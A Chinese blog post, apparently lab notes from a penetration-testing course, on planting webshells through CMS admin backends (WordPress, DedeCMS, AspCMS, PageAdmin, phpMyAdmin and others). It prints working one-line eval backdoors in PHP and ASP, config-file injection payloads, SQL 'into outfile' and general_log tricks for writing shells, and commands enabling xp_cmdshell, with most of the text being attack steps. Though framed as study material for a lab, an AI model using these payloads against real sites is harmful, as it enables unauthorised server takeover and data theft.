moonsec - 18网站后台拿shell

文章内容仅供学习参考、讨论交流,切忌未授权情况下进行渗透测试,一旦用于非法用途,本人概不负责。

概述

通过注入或者其他途径,获取网站管理员账号和密码后,找到后台登录地址,登录后,寻找后台漏洞上传网页后门,获取网站的webshell
webshell的作用是方便攻击者,webshell是拥有fso权限,根据fso权限的不同,可以对网页进行编辑,删除,上传或者下载,查看文件。
攻击者也可以通过这个webshell对服务器进行提权,提权成功后,会得到服务器管理权限。拿webshell也是getshell的另一种叫法。

途径

网站后台的因为功模块较多,很多开发人员也不会对后台的业务输入,进行严格过滤,输入有危害的内容,与漏洞配合很容易拿到网站的webshell。可以通过文件上传漏洞、SQL注入漏洞、文件任意写入漏洞、文件远程下载漏洞,SQL语句执行漏洞、数据库备份漏洞,文件包含漏洞等漏洞获取网站的webshell。

分类

  • 模板编辑拿webshell
    通过修改模块写入一句话,网站再调用模板的时,会自动加载这个模板,运行后门。
  • 文件上传拿webshell
    通过后台的上传模块,上传网页后门,就可以拿到webshell
  • 文件写入拿webshell
    通过可控参数将恶意代码写入文件里,即可获取webshell
  • zip自解压拿webshell
    上传zip文件,在其加入webshell文件,程序会自动解压,将后门解压到网站目录,可以获取webshell。
  • 远程图片下载拿webshell
    有的网站后台会存在远程图片下载功能,但是没有对其后缀名进行限制,导致可以下去webshell文件。
  • 编辑器漏洞拿webshell
    有的编辑器存在上传漏洞,通过编辑器漏洞可以获取网站的webshell。
  • 备份拿webshell
    很多的asp网站 都存在备份功能,上传有恶意的图片,备份成脚本文件,即可获取webshell
  • SQL语句执行拿webshell
    有的网站存在sql执行命令,可以通过命令备份或导出一句话后门到指定网站目录,即可获取webshell
  • SQL注入写shell 拿webshell
    网站前台设置了防注入,但是后台一般都存在注入,如果权限有读写,使用命令进行读写文件,或者执行写入后门,即可获取webshell

实战

1. wordpress后台修改模板拿shell

站点信息

www.cbi1.com

后台地址:/wp-admin

admin/123456

漏洞详情

image-20220119103200346

访问主题下的404,www.cbi1.com/wp-content/themes/twentysixteen/404.php

即可getshell

Ps.连接失败可能是因为代理的原因,其hosts就不生效了

2. wordpress上传主题拿shell

站点信息

www.cbi1.com

admin/123456

漏洞详情

将提前放好后门的主题打包好并命名,之后上传。

在打包好的压缩包中放入后门脚本,并且压缩为zip格式。

还可以通过WordPress的插件的漏洞拿shell

3. dedecms通过文件管理器上传

站点信息

http://www.cbi2.com/dede/index.php

admin/123456

漏洞详情

image-20220119143926139

文件上传处,将已经写好的文件上传。

<?php echo("passw0rd_1s_lalala");eval($_POST['lalala']);?>

image-20220119144136517

image-20220119144532469

4.dedecms修改模块文件拿shell

image-20220119144915365

image-20220119144937360

image-20220119145022183

image-20220119145037082

5. dedecms后台任意执行命令拿shell

image-20220119150651824

代码:

require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile)
> $cfg_puccache_time ){
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0){
        $adbody = $row['normbody'];
    }
    else{
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp);
}
include $cacheFile;

image-20220119151142663

由上,eval($_POST["123"]);其"会被转义为\"。

6. aspcms后台修改配置文件拿shell

站点信息

http://www.cbi3.com/admin_aspcms/login.asp

admin/123456

漏洞详情

image-20220119170746220

将包中的参数slidestyle改为需要注入的语句。

"%><%eval request(chr(35))%><%  —— 字符型
%><%eval request(chr(35))%><% —— 数字型

image-20220119171238159

未进行编码

image-20220119171407818

编码后,提交1%25><%25eval+request(chr(35))%25><%25

image-20220119171609147

成功。

www.cbi3.com/config/AspCms_Config.asp

密码: #。

Ps.需要注意百分号等符号的编码问题

还需要注意字符型需要双引号闭合,数字型不需要

注入处可能必须保留之前的字符,否则也会报错。

7.南方数据企业系统 后台上传截断拿shell

网站详情

http://www.cbi7.com/admin/UpFileForm.asp?Result=QRCodeo

admin/123456

漏洞详情

从添加图片处进行文件上传

image-20220119210540082

上传代码1.asp

zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
zzzzzzzzzzz
<%eval request("lalala")%>

将上传文件的包截取下来

image-20220119210813988

不是url编码,进行了一次解码。。

image-20220119211026211

使用菜刀连接

image-20220119211154878

漏洞代码

web/admin/upfilesave.asp

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Server.scriptTimeout=300 %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>保存文件</title>
<link rel="stylesheet" href="Images/CssAdmin.css">
<script language="JavaScript"> 
<!-- 
function CopyPath(FilePath,FileSize)
{
    var str=location.toString()
    var Result=((((str.split('?'))[1]).split('='))[1]);
    window.opener.editForm(Result).focus();                                
    window.opener.document.editForm(Result).value=FilePath;
    if (Result == "FileUrl")
    {
       window.opener.document.editForm.FileSize.value=FileSize;
    }
    window.opener=null;
    window.close();
}
//--> 
</script> 
</head>
<!--#include file="UpFileClass.asp"-->
<body >
<table width=400 border=0 align="center" cellpadding="12" cellspacing="1" bgcolor="#6298E1">
  <tr>
    <td width=100% height=100% align="center" bgcolor="#EBF2F9" class=tablebody1 >
<%
dim Upload,File,FormName,SaveToPath,FileName,FileExt
dim RanNum
call UpFile()
'===========无组件上传(upload_0)====================
sub UpFile()
  set Upload=new UpFile_Class '建立上传对象
  Upload.GetData (1024*1024*15) '取得上传数据,此处即为15M

  if Upload.err > 0 then
    select case Upload.err
      case 1
        Response.Write "请先选择您要上传的文件,<a href=# onclick=history.go(-1)>返回</a>&nbsp;!"
      case 2
        Response.Write "文件大小超过了限制15M,<a href=# onclick=history.go(-1)>返回</a>&nbsp;!"
    end select
    exit sub
  else
    SaveToPath=Upload.form("SaveToPath") '文件保存目录,此目录必须为程序可读写
    if SaveToPath="" then
      SaveToPath="../"
    end if
    '在目录后加(/)
    if right(SaveToPath,1)<>"/" then 
      SaveToPath=SaveToPath&"/"
    end if 
    for each FormName in Upload.file '列出所有上传了的文件
      set file=Upload.file(FormName) '生成一个文件对象
      if file.Filesize<100 then
        response.write "请先选择您要上传的文件,<a href=# onclick=history.go(-1)>返回</a>&nbsp;!"
        response.end
      end if

      FileExt=lcase(File.FileExt)
      if CheckFileExt(FileEXT)=false then
        response.write "文件格式不允许上传,<a href=# onclick=history.go(-1)>返回</a>&nbsp;!"
        response.end
      end if

      randomize timer
      RanNum=int(9000*rnd)+1000
      Filename=SaveToPath&year(now)&"."&month(now)&"."&day(now)&"_"&hour(now)&"."&minute(now)&"."&Second(now)&"_"&RanNum&"."&fileExt
      if file.FileSize>0 then '如果 FileSize > 0 说明有文件数据
        Result=file.SaveToFile(Server.mappath(FileName)) '保存文件
        if Result="ok" then
        
          response.write "<table width='100%' border='0' cellspacing='0' cellpadding='0'>"
          response.write "<tr>"
          response.write "<td width='60' height='30'>上传成功:</td>"
          response.write "<td nowrap><font color='#ff0000'>"&File.FilePath&file.FileName&"</font></td>"
          response.write "</tr>"
          response.write "<tr>"
          response.write "<td nowrap height='30'>保存路径:</td>"
          response.write "<td nowrap><input type='text' size='56' class='textfield' value='"&right(FileName,len(FileName))&"'></td>"
          response.write "</tr>"
          response.write "<tr>"
          response.write "<td nowrap height='30'>文件大小:</td>"
          response.write "<td nowrap><input type='text' size='56' class='textfield' value='"&GainFileSize(file.Filesize)&"'></td>"
          response.write "</tr>"          
          response.write "<tr>"
          response.write "<td height='36' colspan='2' valign='bottom' align='center'><input name='CopyPath' type='button' class='button' value='拷贝文件路径并关闭或手动复制'  onclick=""CopyPath('"&right(FileName,len(FileName))&"','"&GainFileSize(file.Filesize)&"')""></td>"
          response.write "</tr>"
          response.write "</table>"
        else
          response.write File.FilePath&file.FileName&"上传失败&nbsp;!"&Result&"<br>"
        end if
      end if
      set file=nothing
    next
    set Upload=nothing
  end if
end sub

'判断文件类型是否合格
Private Function CheckFileExt (FileEXT)
  dim ForumUpload
  ForumUpload="exe,gif,jpg,jpeg,rar,zip,doc"
  ForumUpload=split(ForumUpload,",")
  for i=0 to ubound(ForumUpload)
    if lcase(FileEXT)=lcase(trim(ForumUpload(i))) then
      CheckFileExt=true
      exit Function
    else
      CheckFileExt=false
    end if
  next
End Function

Private Function GainFileSize (SizeByte)
  if SizeByte < 1024*1024 then
    GainFileSize=round(SizeByte/1024,2) & "&nbsp;KB"
  else  
    GainFileSize=round(SizeByte/1024/1024,2) & "&nbsp;MB"
  end if
End Function

%>
    </td>
  </tr>
</table>
</body>
</html>

8. 南方数据企业系统 一句插入配置文件拿shell

漏洞详情

配置文件:web/inc/const.asp

经测试,引号未过滤

payload

123.163.com"%><%eval request(chr(35))%><% s="

将smtp服务器更改后,会出现内部错误

image-20220119212048089

不要慌

蚁剑连接,http://www.cbi7.com/inc/Const.asp #

image-20220119212159648

9. 南方数据企业系统 修改配置文件拿shell

漏洞详情

系统管理->常量设置

直接添加一句话

image-20220119212610047

image-20220119212639171

10. phpmyadmin 日志拿shell——未做

通过SQL语句拿webshell 用into outfile 把后门写到网站目录上。

select '<?php phpinfo();eval($_POST[cmd]);?>' into outfile 'C:/phpstudy_pro/WWW/x.php'

利用mysql日志文件写shell,这个日志可以在mysql里改变它的存放位置,登录phpmyadmin可以修改 这个存放位置,并且可以修改它的后缀名。所以可以修改成php的后缀名就能获取一个webshell

开启日志记录

SET global general_log = "ON"; 日志保存状态开启;
SET global general_log_file ='C:/phpstudy_pro/WWW/a.php'; 修改日志的保存位置。

后执行sql语句可直接生成木马文件

select "<?php phpinfo();eval($_GET['cmd']);?>";

如果出错应该是mysql没权限写到这个web目录内,如果没有出错,执行select后,a.php里面就会存在恶意代码。

image-20220120105448625

访问即可获取webshell

image-20220120105501204

image-20220120111757697

11. pageadmin 上传模块拿shell

网站详情

后台:http://www.cbi9.com/admin/

漏洞触发点:http://www.cbi9.com/Templates/x/xxx.aspx

漏洞详情

image-20220120112556949

上传的文件

image-20220120112253265

将1.aspx打包上传

image-20220120112803822

12. pageadmin上传文件解压拿shell

在文件管理中的功能菜单中选择上传文件,将11中的1.zip上传

image-20220120112951337

image-20220120113003352

连接http://www.cbi9.com/1.aspx —— chopper

image-20220120113048706

13. pageadmin查找数据库配置文件执行拿shell

web.config中记录了数据库的密码。

image-20220120113234964

(使用菜刀连接

用数据库客户端连接执行xp_cmdshell

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

添加网站

image-20220120114144391

菜刀对网站选择数据库管理

image-20220120113914600

Ps.正常思路应该是连接上数据库后,开启xp_cmdshell,然后写后门,之后连接,暗月的视频稍微有点不对。

14. 无忧企业系统留言一句话到数据库拿shell

修改上传配置文件

系统管理的网站配置中,后缀加入php|aspx

image-20220120120402611

添加下载程序

image-20220120120327972

上传php文件,文件要大一点,否则上传失败。

留言一句话

如果access数据库是asp格式的可以插入数据库一句话访问数据库即可获取webshell

┼攠數畣整爠煥敵瑳∨≡┩愾 密码a

留言后,访问网站/Databases/%#@[email protected]#[email protected]#$%%#.asp

image-20220120131429424

需要进行url编码。

image-20220120131607396

500正常现象。

image-20220120131557366

本文链接:

https://littlewhite.fun/481.html
1 + 9 =
快来做第一个评论的人吧~